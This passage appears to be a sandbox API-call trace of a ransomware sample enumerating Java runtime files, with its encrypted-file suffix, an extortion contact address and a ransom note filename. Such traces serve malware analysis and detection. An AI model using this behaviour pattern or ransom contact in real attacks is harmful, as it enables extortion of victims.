[0116.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.889] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.889] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.889] GetProcessHeap () returned 0x630000 [0116.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91c0, Size=0x20) returned 0x6e9288 [0116.889] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0116.889] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 1 [0116.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe") returned 0x32 [0116.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.890] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.890] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.890] GetProcessHeap () returned 0x630000 [0116.890] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x24) returned 0x699948 [0116.890] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0116.890] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\", len=0x2f | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\") returned 1 [0116.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\") returned 0x2f [0116.890] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.890] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6f8, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0116.892] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.892] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0116.892] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll", len=0x3b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 1 [0116.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 0x3b [0116.892] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.893] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.893] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.893] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0116.893] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 1 [0116.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 0x38 [0116.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.893] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.893] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.893] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.893] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0116.894] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0116.894] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 1 [0116.894] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe") returned 0x35 [0116.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.894] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.894] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.894] GetProcessHeap () returned 0x630000 [0116.894] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e93a0, Size=0x24) returned 0x699828 [0116.894] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0116.894] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 1 [0116.895] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll") returned 0x37 [0116.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.895] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.895] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.895] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0116.898] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 1 [0116.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 0x34 [0116.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.898] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.898] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.898] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0116.899] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 1 [0116.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 0x33 [0116.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.899] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.899] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.899] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0116.899] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 1 [0116.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll") returned 0x33 [0116.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.899] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.899] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.900] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0116.900] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 1 [0116.900] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe") returned 0x2f [0116.900] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.900] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.900] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.900] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.900] GetProcessHeap () returned 0x630000 [0116.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91e8, Size=0x24) returned 0x699be8 [0116.900] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0116.900] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 1 [0116.900] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 0x36 [0116.900] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.901] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.901] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.901] GetProcessHeap () returned 0x630000 [0116.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699be8, Size=0x28) returned 0x699708 [0116.901] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0116.901] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\", len=0x2e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\") returned 1 [0116.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\server\\") returned 0x2e [0116.901] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.901] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0116.905] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 